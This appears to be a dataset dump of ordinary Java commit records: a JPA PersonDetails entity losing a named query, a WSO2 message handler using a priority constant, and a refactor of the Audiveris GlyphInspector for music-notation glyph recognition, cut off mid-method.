query = "SELECT p FROM PersonDetails p"
),
@NamedQuery(
name = "org.ajabshahar.platform.models.PersonDetails.findAllByRole",
query = "SELECT p FROM PersonDetails p join p.category pc where pc.name = :role)"
)
})
public class PersonDetails {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private long id;
@Column(name = "FIRST_NAME", nullable = false)
private String firstName;
@Column(name = "MIDDLE_NAME", nullable = true)
private String middleName;
@Column(name = "LAST_NAME", nullable = true)
private String lastName;
@OneToMany(fetch = FetchType.EAGER)
@JoinTable(name = "person_category", joinColumns = @JoinColumn(name = "person_id"),
inverseJoinColumns = @JoinColumn(name = "category_id"))
private Set<Category> category;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getMiddleName() {
return middleName;
}
public void setMiddleName(String middleName) {
this.middleName = middleName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getName() {
return format("%s %2s %3s", Strings.nullToEmpty(getFirstName()), Strings.nullToEmpty(getMiddleName()), Strings.nullToEmpty(getLastName())).replaceAll("\\s+", " ").trim();
}
public Set<Category> getCategory() {
return category;
}
public void setCategory(Set<Category> category) {
this.category = category;
}
} | removed named query
| src/main/java/org/ajabshahar/platform/models/PersonDetails.java | removed named query | <ide><path>rc/main/java/org/ajabshahar/platform/models/PersonDetails.java
<ide> @NamedQuery(
<ide> name = "org.ajabshahar.platform.models.PersonDetails.findAll",
<ide> query = "SELECT p FROM PersonDetails p"
<del> ),
<del> @NamedQuery(
<del> name = "org.ajabshahar.platform.models.PersonDetails.findAllByRole",
<del> query = "SELECT p FROM PersonDetails p join p.category pc where pc.name = :role)"
<ide> )
<ide> })
<ide> public class PersonDetails { |
|
Java | apache-2.0 | 211027dd801b6be380b35cedd1d711515afd9898 | 0 | omindu/carbon-identity-commons | /*
* Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.wso2.carbon.identity.common.base.handler;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.wso2.carbon.identity.common.base.Constants;
import org.wso2.carbon.identity.common.base.message.MessageContext;
import org.wso2.carbon.identity.common.internal.handler.HandlerConfig;
import org.wso2.carbon.identity.common.internal.handler.HandlerConfigKey;
import org.wso2.carbon.identity.common.util.IdentityUtils;
import java.util.Map;
import java.util.Properties;
/**
* Abstract message handler.
*/
public abstract class AbstractMessageHandler implements MessageHandler {
private static Logger logger = LoggerFactory.getLogger(AbstractMessageHandler.class);
protected final Properties properties = new Properties();
protected InitConfig initConfig;
public void init(InitConfig initConfig) {
this.initConfig = initConfig;
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return;
}
if (identityEventListenerConfig.getProperties() != null) {
for (Map.Entry<Object, Object> property : identityEventListenerConfig.getProperties().entrySet()) {
String key = (String) property.getKey();
String value = (String) property.getValue();
if (!properties.containsKey(key)) {
properties.setProperty(key, value);
} else {
logger.warn("Property key " + key + " already exists. Cannot add property!!");
}
}
}
}
public boolean isEnabled(MessageContext messageContext) {
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return true;
}
return Boolean.parseBoolean(identityEventListenerConfig.getEnable());
}
public int getPriority(MessageContext messageContext) {
/*
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return Constants.EVENT_LISTENER_ORDER_DEFAULT;
}
return identityEventListenerConfig.getOrder();
*/
// TODO: Use carbon 5.2.0 config model to read the priority from file. Related JIRA:
// https://wso2.org/jira/browse/IDENTITY-5769
return Constants.EVENT_LISTENER_ORDER_DEFAULT;
}
public String getName() {
return this.getClass().getSimpleName();
}
}
| components/org.wso2.carbon.identity.common/src/main/java/org/wso2/carbon/identity/common/base/handler/AbstractMessageHandler.java | /*
* Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.wso2.carbon.identity.common.base.handler;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.wso2.carbon.identity.common.base.Constants;
import org.wso2.carbon.identity.common.base.message.MessageContext;
import org.wso2.carbon.identity.common.internal.handler.HandlerConfig;
import org.wso2.carbon.identity.common.internal.handler.HandlerConfigKey;
import org.wso2.carbon.identity.common.util.IdentityUtils;
import java.util.Map;
import java.util.Properties;
/**
* Abstract message handler.
*/
public abstract class AbstractMessageHandler implements MessageHandler {
private static Logger logger = LoggerFactory.getLogger(AbstractMessageHandler.class);
protected final Properties properties = new Properties();
protected InitConfig initConfig;
public void init(InitConfig initConfig) {
this.initConfig = initConfig;
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return;
}
if (identityEventListenerConfig.getProperties() != null) {
for (Map.Entry<Object, Object> property : identityEventListenerConfig.getProperties().entrySet()) {
String key = (String) property.getKey();
String value = (String) property.getValue();
if (!properties.containsKey(key)) {
properties.setProperty(key, value);
} else {
logger.warn("Property key " + key + " already exists. Cannot add property!!");
}
}
}
}
public boolean isEnabled(MessageContext messageContext) {
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return true;
}
return Boolean.parseBoolean(identityEventListenerConfig.getEnable());
}
public int getPriority(MessageContext messageContext) {
/*
HandlerConfig identityEventListenerConfig = IdentityUtils.getInstance().getHandlerConfig()
.get(new HandlerConfigKey(AbstractMessageHandler.class.getName(), this.getClass().getName()));
if (identityEventListenerConfig == null) {
return Constants.EVENT_LISTENER_ORDER_DEFAULT;
}
return identityEventListenerConfig.getOrder();
*/
// TODO: Use carbon 5.2.0 config model to read the priority from file. Related JIRA:
// https://wso2.org/jira/browse/IDENTITY-5769
return -1;
}
public String getName() {
return this.getClass().getSimpleName();
}
}
| Removing old handler priority reading related code.
| components/org.wso2.carbon.identity.common/src/main/java/org/wso2/carbon/identity/common/base/handler/AbstractMessageHandler.java | Removing old handler priority reading related code. | <ide><path>omponents/org.wso2.carbon.identity.common/src/main/java/org/wso2/carbon/identity/common/base/handler/AbstractMessageHandler.java
<ide> // TODO: Use carbon 5.2.0 config model to read the priority from file. Related JIRA:
<ide> // https://wso2.org/jira/browse/IDENTITY-5769
<ide>
<del> return -1;
<add> return Constants.EVENT_LISTENER_ORDER_DEFAULT;
<ide> }
<ide>
<ide> public String getName() { |
|
Java | agpl-3.0 | fc9b59599a5439a4c7763efeade1abb766ecec95 | 0 | Audiveris/audiveris,Audiveris/audiveris | //----------------------------------------------------------------------------//
// //
// G l y p h I n s p e c t o r //
// //
// Copyright (C) Herve Bitteur 2000-2006. All rights reserved. //
// This software is released under the terms of the GNU General Public //
// License. Please contact the author at [email protected] //
// to report bugs & suggestions. //
//----------------------------------------------------------------------------//
//
package omr.glyph;
import omr.ProcessingException;
import omr.constant.Constant;
import omr.constant.ConstantSet;
import omr.math.Circle;
import omr.sheet.Scale;
import omr.sheet.Sheet;
import omr.sheet.SystemInfo;
import omr.sheet.VerticalsBuilder;
import omr.util.Implement;
import omr.util.Logger;
import omr.util.Predicate;
import java.awt.*;
import java.util.*;
import java.util.List;
/**
* Class <code>GlyphInspector</code> is dedicated to the inspection of retrieved
* glyphs, their recognition being usually based on features used by a neural
* network evaluator.
*
* @author Hervé Bitteur
* @version $Id$
*/
public class GlyphInspector
{
//~ Static fields/initializers ---------------------------------------------
/** Specific application parameters */
private static final Constants constants = new Constants();
/** Usual logger utility */
private static final Logger logger = Logger.getLogger(GlyphInspector.class);
//~ Instance fields --------------------------------------------------------
/** Related sheet */
private final Sheet sheet;
/** Related glyph builder */
private final GlyphsBuilder builder;
/** Underlying lag */
private final GlyphLag vLag;
/** Predicate to filter only reliable symbols attached to a stem */
private final Predicate<Glyph> reliableStemSymbols = new Predicate<Glyph>() {
public boolean check (Glyph glyph)
{
Shape shape = glyph.getShape();
boolean res = glyph.isWellKnown() &&
Shape.StemSymbols.contains(shape) &&
(shape != Shape.BEAM_HOOK);
return res;
}
};
//~ Constructors -----------------------------------------------------------
//----------------//
// GlyphInspector //
//----------------//
/**
* Create an GlyphInspector instance.
*
* @param sheet the sheet to inspect
* @param builder the related glyph builder
*/
public GlyphInspector (Sheet sheet,
GlyphsBuilder builder)
{
this.sheet = sheet;
this.builder = builder;
vLag = sheet.getVerticalLag();
}
//~ Methods ----------------------------------------------------------------
//--------------------//
// getCleanupMaxDoubt //
//--------------------//
/**
* Report the maximum doubt for a cleanup
*
*
* @return maximum acceptable doubt value
*/
public static double getCleanupMaxDoubt ()
{
return constants.cleanupMaxDoubt.getValue();
}
//-----------------//
// getLeafMaxDoubt //
//-----------------//
/**
* Report the maximum doubt for a leaf
*
*
* @return maximum acceptable doubt value
*/
public static double getLeafMaxDoubt ()
{
return constants.leafMaxDoubt.getValue();
}
//-------------------------//
// getMinCompoundPartDoubt //
//-------------------------//
public static double getMinCompoundPartDoubt ()
{
return constants.minCompoundPartDoubt.getValue();
}
//-------------------//
// getSymbolMaxDoubt //
//-------------------//
/**
* Report the maximum doubt for a symbol
*
* @return maximum acceptable doubt value
*/
public static double getSymbolMaxDoubt ()
{
return constants.symbolMaxDoubt.getValue();
}
//----------------//
// evaluateGlyphs //
//----------------//
/**
* All new symbol glyphs of the sheet, for which we can get a positive vote
* of the evaluator, are assigned the voted shape.
*
* @param maxDoubt maximum value for acceptable doubt
*/
public void evaluateGlyphs (double maxDoubt)
{
// For temporary use only ...
if (constants.inspectorDisabled.getValue()) {
logger.warning(
"GlyphInspector is disabled. Check Tools|Options menu");
return;
}
int acceptNb = 0;
int knownNb = 0;
int noiseNb = 0;
int clutterNb = 0;
int structureNb = 0;
Evaluator evaluator = GlyphNetwork.getInstance();
for (int id = sheet.getFirstSymbolId(); id <= vLag.getLastGlyphId();
id++) {
Glyph glyph = vLag.getGlyph(id);
if (glyph != null) {
if (glyph.getShape() == null) {
glyph.setInterline(sheet.getScale().interline());
// Get vote
Evaluation vote = evaluator.vote(glyph, maxDoubt);
if (vote != null) {
glyph.setShape(vote.shape, vote.doubt);
acceptNb++;
if (vote.shape == Shape.NOISE) {
noiseNb++;
} else if (vote.shape == Shape.CLUTTER) {
clutterNb++;
} else if (vote.shape == Shape.STRUCTURE) {
structureNb++;
} else {
knownNb++;
}
}
}
}
}
if (acceptNb > 0) {
logger.info(
acceptNb + " glyph" + ((acceptNb > 1) ? "s" : "") +
" assigned (" + noiseNb + " as noise, " + structureNb +
" as structure, " + clutterNb + " as clutter, " + knownNb +
" as known)");
}
}
// //---------------//
// // processBraces //
// //---------------//
// /**
// * Look for braces and get back to the BarsBuilder to organize the score
// * parts (TBD: is it used anymore?)
// */
// public void processBraces ()
// {
// // Collect braces recognized, system per system
// List<List<Glyph>> braceLists = new ArrayList<List<Glyph>>();
//
// int nb = 0;
//
// for (SystemInfo system : sheet.getSystems()) {
// List<Glyph> braces = new ArrayList<Glyph>();
//
// for (Glyph glyph : system.getGlyphs()) {
// if (glyph.getShape() == Shape.BRACE) {
// braces.add(glyph);
// nb++;
// }
// }
//
// braceLists.add(braces);
// }
//
// if (logger.isFineEnabled()) {
// logger.fine("Found " + nb + " brace(s)");
// }
//
// // Pass this data to the glyph inspector
// // sheet.getBarsBuilder()
// // .setBraces(braceLists);
// }
//-------------------//
// retrieveCompounds //
//-------------------//
/**
* Look for glyphs portions that should be considered as parts of compound
* glyphs
*
* @param maxDoubt maximum doubt for a compound glyph to be accepted
*/
public void retrieveCompounds (double maxDoubt)
{
List<Glyph> compounds = new ArrayList<Glyph>();
for (SystemInfo system : sheet.getSystems()) {
retrieveSystemCompounds(system, compounds, maxDoubt);
}
// Feedback to the user
if (compounds.size() > 1) {
logger.info(
"Built " + compounds.size() + " compounds #" +
compounds.get(0).getId() + " .. #" +
compounds.get(compounds.size() - 1).getId());
} else if (compounds.size() == 1) {
logger.info(
"Built compound #" + compounds.get(0).getId() + " as " +
compounds.get(0).getShape());
} else {
logger.fine("No compound built");
}
}
//----------------//
// retrieveLeaves //
//----------------//
/**
* Retrieve leaves that appear thanks to segmentation due to stems
* extraction.
*/
public void retrieveLeaves ()
{
// Nota: Leaves are already added to the proper system glyph collection
builder.retrieveGlyphs();
// Sort glyphs on their abscissa
for (SystemInfo system : sheet.getSystems()) {
system.sortGlyphs();
}
}
//-------------------//
// retrieveVerticals //
//-------------------//
/**
* Look for vertical sticks (stems actually, though we could have endings
* verticals as well), and rebuild glyphs after the stem extraction
*/
public void retrieveVerticals ()
{
// Get rid of former non-recognized symbols
for (SystemInfo system : sheet.getSystems()) {
builder.removeSystemUnknowns(system);
}
// Retrieve stem/endings vertical candidates
try {
new VerticalsBuilder(sheet);
} catch (ProcessingException ex) {
// User has already been warned
}
}
//-------------//
// tryCompound //
//-------------//
/**
* Try to build a compound, starting from given seed and looking into the
* collection of suitable glyphs.
*
* @param seed the initial glyph around which the compound is built
* @param suitables collection of potential glyphs
* @param adapter the specific behavior of the compound tests
* @return the compound built if successful, null otherwise
*/
public Glyph tryCompound (Glyph seed,
List<Glyph> suitables,
CompoundAdapter adapter)
{
// Build box extended around the seed
Rectangle rect = seed.getContourBox();
Rectangle box = new Rectangle(
rect.x - adapter.getBoxDx(),
rect.y - adapter.getBoxDy(),
rect.width + (2 * adapter.getBoxDx()),
rect.height + (2 * adapter.getBoxDy()));
// Retrieve good neighbors among the suitable glyphs
List<Glyph> neighbors = new ArrayList<Glyph>();
// Include the seed in the compound glyphs
neighbors.add(seed);
for (Glyph g : suitables) {
if (!adapter.isSuitable(g)) {
continue;
}
if (box.intersects(g.getContourBox())) {
neighbors.add(g);
}
}
if (neighbors.size() > 1) {
if (logger.isFineEnabled()) {
logger.finest(
"neighbors=" + Glyph.idsOf(neighbors) + " seed=" + seed);
}
Glyph compound = builder.buildCompound(neighbors);
if (adapter.isValid(compound)) {
builder.insertCompound(compound, neighbors);
if (logger.isFineEnabled()) {
logger.fine("Inserted compound " + compound);
}
return compound;
}
}
return null;
}
//-------------//
// verifySlurs //
//-------------//
/**
* Browse through all slur glyphs, run additional checks, and correct
* spurious glyphs if any
*/
public void verifySlurs ()
{
int fixedNb = 0;
for (SystemInfo system : sheet.getSystems()) {
fixedNb += verifySystemSlurs(system);
}
// Feedback
if (fixedNb > 1) {
logger.info(fixedNb + " slurs fixed");
} else if (fixedNb > 0) {
logger.info(fixedNb + " slur fixed");
} else {
logger.fine("No slur fixed");
}
}
//-------------//
// verifyStems //
//-------------//
/**
* Look for all stems that should not be kept, rebuild surrounding glyphs
* and try to recognize them
*/
public void verifyStems ()
{
int symbolNb = 0;
for (SystemInfo system : sheet.getSystems()) {
symbolNb += verifySystemStems(system);
}
// User feedback
if (symbolNb > 1) {
logger.info(symbolNb + " new symbols from stem cancellation");
} else if (symbolNb > 0) {
logger.info(symbolNb + " new symbol from stem cancellation");
} else if (logger.isFineEnabled()) {
logger.fine("No new symbol from stem cancellation");
}
}
//-------------------------//
// retrieveSystemCompounds //
//-------------------------//
/**
* In the specified system, look for glyphs portions that should be
* considered as parts of compound glyphs
*
* @param system the system where splitted glyphs are looked for
* @param compounds resulting global list of compounds to expend
* @param maxDoubt maximum doubt value for a compound
*/
private void retrieveSystemCompounds (SystemInfo system,
List<Glyph> compounds,
double maxDoubt)
{
BasicAdapter adapter = new BasicAdapter(maxDoubt);
// Collect glyphs suitable for participating in compound building
List<Glyph> suitables = new ArrayList<Glyph>(
system.getGlyphs().size());
for (Glyph glyph : system.getGlyphs()) {
if (adapter.isSuitable(glyph)) {
suitables.add(glyph);
}
}
// Sort suitable glyphs by decreasing weight
Collections.sort(
suitables,
new Comparator<Glyph>() {
public int compare (Glyph o1,
Glyph o2)
{
return o2.getWeight() - o1.getWeight();
}
});
// Now process each seed in turn, by looking at smaller ones
for (int index = 0; index < suitables.size(); index++) {
Glyph seed = suitables.get(index);
adapter.setSeed(seed);
Glyph compound = tryCompound(
seed,
suitables.subList(index + 1, suitables.size()),
adapter);
// if (logger.isFineEnabled()) {
// logger.finest(
// seed.getId() + " " + seed.getShape() + "(" +
// String.format("%.3f", seed.getDoubt()) + ") : " +
// Glyph.idsOf(neighbors) + " -> " + vote);
// }
if (compound != null) {
compound.setShape(
adapter.getVote().shape,
adapter.getVote().doubt);
compounds.add(compound);
}
}
}
//-------------------//
// verifySystemSlurs //
//-------------------//
/**
* Process all the slur glyphs in the given system, and try to correct the
* spurious ones if any
*
* @param system the system at hand
* @return the number of slurs fixed in this system
*/
private int verifySystemSlurs (SystemInfo system)
{
int fixedNb = 0;
List<Glyph> oldGlyphs = new ArrayList<Glyph>();
List<Glyph> newGlyphs = new ArrayList<Glyph>();
// First, make up a list of all slur glyphs in this system
// (So as to free the system glyph list for on-the-fly modifications)
List<Glyph> slurs = new ArrayList<Glyph>();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.getShape() == Shape.SLUR) {
slurs.add(glyph);
}
}
// Then verify each slur seed in turn
for (Glyph seed : slurs) {
// Check this slur has not just been 'merged' with another one
if (seed.getMembers()
.get(0)
.getGlyph() != seed) {
continue;
}
Circle circle = SlurGlyph.computeCircle(seed);
if (!circle.isValid(SlurGlyph.getMaxCircleDistance())) {
if (SlurGlyph.fixSpuriousSlur(seed, system)) {
fixedNb++;
}
} else if (logger.isFineEnabled()) {
logger.finest("Valid slur " + seed.getId());
}
}
// Extract & evaluate brand new glyphs
builder.extractNewSystemGlyphs(system);
return fixedNb;
}
//-------------------//
// verifySystemStems //
//-------------------//
/**
* In a specified system, look for all stems that should not be kept,
* rebuild surrounding glyphs and try to recognize them. If this action does
* not lead to some recognized symbol, then we restore the stems.
*
* @param system the specified system
* @return the number of symbols recognized
*/
private int verifySystemStems (SystemInfo system)
{
logger.finest("verifySystemStems " + system);
int nb = 0;
// Use very close stems to detect sharps and naturals ?
// Collect all undue stems
List<Glyph> SuspectedStems = new ArrayList<Glyph>();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.isStem()) {
Set<Glyph> goods = new HashSet<Glyph>();
Set<Glyph> bads = new HashSet<Glyph>();
glyph.getSymbolsBefore(reliableStemSymbols, goods, bads);
glyph.getSymbolsAfter(reliableStemSymbols, goods, bads);
if (goods.size() == 0) {
if (logger.isFineEnabled()) {
logger.finest("Suspected Stem " + glyph);
}
SuspectedStems.add(glyph);
// Discard "bad" ones
for (Glyph g : bads) {
g.setShape((Shape) null);
}
}
}
}
// Remove these stems since nearby stems are used for recognition
for (Glyph glyph : SuspectedStems) {
builder.removeGlyph(glyph, system, /*cutSections=>*/
true);
}
// Extract brand new glyphs
builder.extractNewSystemGlyphs(system);
// Try to recognize each glyph in turn
List<Glyph> symbols = new ArrayList<Glyph>();
final Evaluator evaluator = GlyphNetwork.getInstance();
final double maxDoubt = getCleanupMaxDoubt();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.getShape() == null) {
Evaluation vote = evaluator.vote(glyph, maxDoubt);
if (vote != null) {
glyph.setShape(vote.shape, vote.doubt);
if (glyph.isWellKnown()) {
if (logger.isFineEnabled()) {
logger.finest("New symbol " + glyph);
}
symbols.add(glyph);
nb++;
}
}
}
}
// Keep stems that have not been replaced by symbols, definitively
// remove the others
for (Glyph stem : SuspectedStems) {
// Check if one of its section is now part of a symbol
boolean known = false;
Glyph glyph = null;
for (GlyphSection section : stem.getMembers()) {
glyph = section.getGlyph();
if ((glyph != null) && glyph.isWellKnown()) {
known = true;
break;
}
}
if (!known) {
// Remove the newly created glyph
if (glyph != null) {
builder.removeGlyph(
glyph,
system, /* cutSections => */
true);
}
// Restore the stem
system.getGlyphs()
.add(stem);
// Restore the stem <- section link
for (GlyphSection section : stem.getMembers()) {
section.setGlyph(stem);
}
}
}
// Extract brand new glyphs
builder.extractNewSystemGlyphs(system);
return nb;
}
//~ Inner Interfaces -------------------------------------------------------
//-----------------//
// CompoundAdapter //
//-----------------//
/**
* Interface <code>CompoundAdapter</code> provides the needed features for a
* generic compound building.
*/
public static interface CompoundAdapter
{
/** Extension in abscissa to look for neighbors */
int getBoxDx ();
/** Extension in ordinate to look for neighbors */
int getBoxDy ();
/**
* Predicate for a glyph to be a potential part of the building (the
* location criteria is handled separately)
*/
boolean isSuitable (Glyph glyph);
/** Predicate to check the success of the newly built compound */
boolean isValid (Glyph compound);
}
//~ Inner Classes ----------------------------------------------------------
//--------------//
// BasicAdapter //
//--------------//
/**
* Class <code>BasicAdapter</code> is a CompoundAdapter meant to retrieve
* all compounds (in a system). It is reusable from one candidate to the
* other, by using the setSeed() method.
*/
private class BasicAdapter
implements CompoundAdapter
{
/** Maximum doubt for a compound */
private final double maxDoubt;
/** The seed being considered */
private Glyph seed;
/** The result of compound evaluation */
private Evaluation vote;
public BasicAdapter (double maxDoubt)
{
this.maxDoubt = maxDoubt;
}
@Implement(CompoundAdapter.class)
public int getBoxDx ()
{
return sheet.getScale()
.toPixels(constants.boxWiden);
}
@Implement(CompoundAdapter.class)
public int getBoxDy ()
{
return sheet.getScale()
.toPixels(constants.boxWiden);
}
public void setSeed (Glyph seed)
{
this.seed = seed;
}
@Implement(CompoundAdapter.class)
public boolean isSuitable (Glyph glyph)
{
return !glyph.isKnown() ||
(!glyph.isManualShape() &&
((glyph.getShape() == Shape.DOT) ||
(glyph.getShape() == Shape.SLUR) ||
(glyph.getShape() == Shape.CLUTTER) ||
(glyph.getDoubt() >= getMinCompoundPartDoubt())));
}
@Implement(CompoundAdapter.class)
public boolean isValid (Glyph compound)
{
vote = GlyphNetwork.getInstance()
.vote(compound, maxDoubt);
if (vote != null) {
compound.setShape(vote.shape, vote.doubt);
}
return (vote != null) && vote.shape.isWellKnown() &&
(vote.shape != Shape.CLUTTER) &&
(!seed.isKnown() || (vote.doubt < seed.getDoubt()));
}
public Evaluation getVote ()
{
return vote;
}
}
//-----------//
// Constants //
//-----------//
private static final class Constants
extends ConstantSet
{
Constant.Boolean inspectorDisabled = new Constant.Boolean(
false,
"Should we (temporarily) disable glyph recognition?");
Scale.Fraction boxWiden = new Scale.Fraction(
0.15,
"Box widening to check intersection with compound");
Constant.Double cleanupMaxDoubt = new Constant.Double(
1.2,
"Maximum doubt for cleanup phase");
Constant.Double leafMaxDoubt = new Constant.Double(
1.01,
"Maximum acceptance doubt for a leaf");
Constant.Double symbolMaxDoubt = new Constant.Double(
1.0001,
"Maximum doubt for a symbol");
Constant.Double minCompoundPartDoubt = new Constant.Double(
1.020,
"Minimum doubt for a suitable compound part");
}
}
| src/main/omr/glyph/GlyphInspector.java | //----------------------------------------------------------------------------//
// //
// G l y p h I n s p e c t o r //
// //
// Copyright (C) Herve Bitteur 2000-2006. All rights reserved. //
// This software is released under the terms of the GNU General Public //
// License. Please contact the author at [email protected] //
// to report bugs & suggestions. //
//----------------------------------------------------------------------------//
//
package omr.glyph;
import omr.ProcessingException;
import omr.constant.Constant;
import omr.constant.ConstantSet;
import omr.sheet.Scale;
import omr.sheet.Sheet;
import omr.sheet.SystemInfo;
import omr.sheet.SystemSplit;
import omr.sheet.VerticalArea;
import omr.sheet.VerticalsBuilder;
import omr.util.Logger;
import omr.util.Predicate;
import java.awt.*;
import java.util.*;
import java.util.List;
/**
* Class <code>GlyphInspector</code> is dedicated to processing of retrieved
* glyphs, their recognition is based on features as used by a neural network
* evaluator.
*
* @author Hervé Bitteur
* @version $Id$
*/
public class GlyphInspector
{
//~ Static fields/initializers ---------------------------------------------
/** Specific application parameters */
private static final Constants constants = new Constants();
/** Usual logger utility */
private static final Logger logger = Logger.getLogger(GlyphInspector.class);
//~ Instance fields --------------------------------------------------------
/** Related sheet */
private final Sheet sheet;
/** Related glyph builder */
private final GlyphsBuilder builder;
/** Underlying lag */
private final GlyphLag vLag;
/** Predicate to filter only reliable symbols attached to a stem */
private final Predicate<Glyph> reliableStemSymbols = new Predicate<Glyph>() {
public boolean check (Glyph glyph)
{
Shape shape = glyph.getShape();
boolean res = glyph.isWellKnown() &&
Shape.StemSymbols.contains(shape) &&
(shape != Shape.BEAM_HOOK);
return res;
}
};
//~ Constructors -----------------------------------------------------------
//----------------//
// GlyphInspector //
//----------------//
/**
* Create an GlyphInspector instance.
*
* @param sheet the sheet to inspect
* @param builder the glyph builder
*/
public GlyphInspector (Sheet sheet,
GlyphsBuilder builder)
{
this.sheet = sheet;
this.builder = builder;
vLag = sheet.getVerticalLag();
}
//~ Methods ----------------------------------------------------------------
//--------------------//
// getCleanupMaxGrade //
//--------------------//
/**
* Report the maximum doubt for a cleanup
*
*
* @return maximum acceptable doubt value
*/
public static double getCleanupMaxGrade ()
{
return constants.cleanupMaxGrade.getValue();
}
//-----------------//
// getLeafMaxGrade //
//-----------------//
/**
* Report the maximum doubt for a leaf
*
*
* @return maximum acceptable doubt value
*/
public static double getLeafMaxGrade ()
{
return constants.leafMaxGrade.getValue();
}
//-------------------//
// getSymbolMaxGrade //
//-------------------//
/**
* Report the maximum doubt for a symbol
*
*
* @return maximum acceptable doubt value
*/
public static double getSymbolMaxGrade ()
{
return constants.symbolMaxGrade.getValue();
}
//------------------------//
// extractNewSystemGlyphs //
//------------------------//
/**
* In the specified system, build new glyphs from unknown sections (sections
* not linked to a known glyph)
*
* @param system the specified system
*/
public void extractNewSystemGlyphs (SystemInfo system)
{
removeSystemUnknowns(system);
sheet.getGlyphBuilder()
.retrieveSystemGlyphs(system);
system.sortGlyphs();
}
//---------------//
// processBraces //
//---------------//
/**
* Look for braces and get back to the BarsBuilder to organize the score
* parts
*/
public void processBraces ()
{
// Collect braces recognized, system per system
List<List<Glyph>> braceLists = new ArrayList<List<Glyph>>();
int nb = 0;
for (SystemInfo system : sheet.getSystems()) {
List<Glyph> braces = new ArrayList<Glyph>();
for (Glyph glyph : system.getGlyphs()) {
if (glyph.getShape() == Shape.BRACE) {
braces.add(glyph);
nb++;
}
}
braceLists.add(braces);
}
if (logger.isFineEnabled()) {
logger.fine("Found " + nb + " brace(s)");
}
// Pass this data to the glyph inspector
// sheet.getBarsBuilder()
// .setBraces(braceLists);
}
//------------------//
// processCompounds //
//------------------//
/**
* Look for glyphs portions that should be considered as parts of compound
* glyphs
*
*
* @param maxGrade mamximum acceptance doubt
*/
public void processCompounds (double maxGrade)
{
List<Glyph> compounds = new ArrayList<Glyph>();
for (SystemInfo system : sheet.getSystems()) {
processSystemCompounds(system, maxGrade, compounds);
}
if (compounds.size() > 1) {
logger.info(
"Built " + compounds.size() + " compounds " +
compounds.get(0).getId() + " .. " +
compounds.get(compounds.size() - 1).getId());
} else if (compounds.size() == 1) {
logger.info(
"Built compound " + compounds.get(0).getId() + " as " +
compounds.get(0).getShape());
} else {
logger.fine("No compound built");
}
}
//---------------//
// processGlyphs //
//---------------//
/**
* All symbol glyphs of the sheet, for which we can get a positive vote of
* the evaluator, are assigned the voted shape.
*
*
* @param maxGrade maximum value for acceptable doubt
*/
public void processGlyphs (double maxGrade)
{
// For temporary use only ...
if (constants.inspectorDisabled.getValue()) {
logger.warning(
"GlyphInspector is disabled. Check Tools|Options menu");
return;
}
int acceptNb = 0;
int knownNb = 0;
int noiseNb = 0;
int clutterNb = 0;
int structureNb = 0;
Evaluator evaluator = GlyphNetwork.getInstance();
for (int id = sheet.getFirstSymbolId(); id <= vLag.getLastGlyphId();
id++) {
Glyph glyph = vLag.getGlyph(id);
if (glyph != null) {
if (glyph.getShape() == null) {
glyph.setInterline(sheet.getScale().interline());
// Get vote
Evaluation vote = evaluator.vote(glyph, maxGrade);
if (vote != null) {
glyph.setShape(vote.shape, vote.doubt);
acceptNb++;
if (vote.shape == Shape.NOISE) {
noiseNb++;
} else if (vote.shape == Shape.CLUTTER) {
clutterNb++;
} else if (vote.shape == Shape.STRUCTURE) {
structureNb++;
} else {
knownNb++;
}
}
}
}
}
if (acceptNb > 0) {
logger.info(
acceptNb + " glyph(s) accepted (" + noiseNb + " as noise, " +
structureNb + " as structure, " + clutterNb + " as clutter, " +
knownNb + " as known)");
}
}
//---------------//
// processLeaves //
//---------------//
/**
* Retrieve leaves that appear thanks to segmentation due to stems
* extraction.
*/
public void processLeaves ()
{
// Nota: Leaves are already added to the proper system glyph
// collection
builder.buildInfo();
// Sort glyphs on their abscissa
for (SystemInfo system : sheet.getSystems()) {
system.sortGlyphs();
}
}
//-------------------//
// processUndueStems //
//-------------------//
/**
* Look for all stems that should not be kept, rebuild surrounding glyphs
* and try to recognize them
*
* @return the number of symbols recognized
*/
public int processUndueStems ()
{
int symbolNb = 0;
